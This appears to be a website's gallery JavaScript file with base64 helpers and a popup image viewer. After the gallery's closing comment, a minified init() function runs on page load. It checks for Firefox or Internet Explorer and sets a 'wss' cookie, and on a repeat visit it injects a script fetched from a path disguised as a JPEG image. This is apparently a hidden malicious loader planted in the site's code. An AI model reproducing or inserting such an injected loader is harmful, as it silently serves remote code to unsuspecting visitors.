//----------------------------------------------------------------------------
// Gallery function
//---------------------------------------------------------------------------- 
var base64_key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";  
//----------------------------------------------------------------------------
function base64_encode(data) {
  var Return = "";
  var Chr_1, Chr_2, Chr_3;
  var Enc_1, Enc_2, Enc_3, Enc_4;
  var i = 0; 
  do	{
      	  Chr_1 = data.charCodeAt(i++);
      	  Chr_2 = data.charCodeAt(i++);
      	  Chr_3 = data.charCodeAt(i++);
      	  
      	  Enc_1 = Chr_1 >> 2;
      	  Enc_2 = ((Chr_1 & 3) << 4) | (Chr_2 >> 4);
      	  Enc_3 = ((Chr_2 & 15) << 2) | (Chr_3 >> 6);
      	  Enc_4 = Chr_3 & 63;
      	  
	  if(isNaN(Chr_2)) Enc_3 = Enc_4 = 64; 
	  else if(isNaN(Chr_3)) Enc_4 = 64;
	  
	  Return += base64_key.charAt(Enc_1) + base64_key.charAt(Enc_2) + base64_key.charAt(Enc_3) + base64_key.charAt(Enc_4);
   	} 
  while(i < data.length);    
  return Return;
}
//----------------------------------------------------------------------------

function base64_decode(data) { /* Not used in this demo */
  var Return = "";
  var Chr_1, Chr_2, Chr_3;
  var Enc_1, Enc_2, Enc_3, Enc_4;
  var i = 0;
  data = data.replace(/[^A-Za-z0-9\+\/\=]/g, "");  
  do	{
	  Enc_1 = base64_key.indexOf(data.charAt(i++));
	  Enc_2 = base64_key.indexOf(data.charAt(i++));
	  Enc_3 = base64_key.indexOf(data.charAt(i++));
	  Enc_4 = base64_key.indexOf(data.charAt(i++));
	  
	  Chr_1 = (Enc_1 << 2) | (Enc_2 >> 4);
	  Chr_2 = ((Enc_2 & 15) << 4) | (Enc_3 >> 2);
	  Chr_3 = ((Enc_3 & 3) << 6) | Enc_4;
	  
	  Return += String.fromCharCode(Chr_1);
	  
	  if(Enc_3 != 64) Return += String.fromCharCode(Chr_2);
      	  if(Enc_4 != 64) Return += String.fromCharCode(Chr_3);
	}
  while(i < data.length);
  return Return;
}
//----------------------------------------------------------------------------

function loadGallery(id, data, str_width, str_height) {
  document.getElementById('gal_img').src = 'gallery/' + id + 'b.jpg';
  document.getElementById('gal_img').width = str_width;
  document.getElementById('gal_img').height = str_height;
  document.getElementById('gal_data').innerHTML = base64_decode(data);
}
//----------------------------------------------------------------------------

function galleryPopup(FileName, CSSFileName, ImageWidth, ImageHeight, Caption, ScrollBar) {
ClientWidth = ImageWidth + 240;
ClientHeight = ImageHeight + 240;
galWindow = window.open('','galWindow', 'width=' + ClientWidth + ',height=' + ClientHeight + ', scrollbars=' + ScrollBar + ', resizable=yes, left=' + ((window.screen.availWidth - ImageWidth) / 2) + ', top=' + ((window.screen.availHeight - ImageHeight) / 2));
galWindow.document.open();   
galWindow.document.write('<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">\n');
galWindow.document.write('<html>\n');
galWindow.document.write('<head>\n');
galWindow.document.write('<meta http-equiv="Content-Type" content="text/html; charset="utf8">\n');
galWindow.document.write('<title>Gallery Preview</title>\n'); 
galWindow.document.write('<link href="res/stylesheet.css" rel="stylesheet" type="text/css">\n');
galWindow.document.write('<link href="css/' + CSSFileName + '" rel="stylesheet" type="text/css">\n');      
galWindow.document.write('</head>\n');
galWindow.document.write('<body class="galleryPopup" onBlur="self.close()">\n');
galWindow.document.write('<p><img class="galleryPopup" src="' + FileName + '" alt="" width="' + ImageWidth + '" height="' + ImageHeight + '"></p>\n');
galWindow.document.write('<p style="padding-top:16px;"><span class="galleryPopup">' + base64_decode(Caption) + '</span></p>\n');
galWindow.document.write('<p style="padding-top:16px; text-align:center;"><a class="galleryPopup" href="javascript:window.close();" title="Close Window">Close Window</a></p>\n');
galWindow.document.write('</body>\n');
galWindow.document.write('</html>');
galWindow.document.close();
galWindow.focus();
}
//---------------------------------------------------------------------------- 
// Gallery function (END)
//----------------------------------------------------------------------------


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/index_5.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
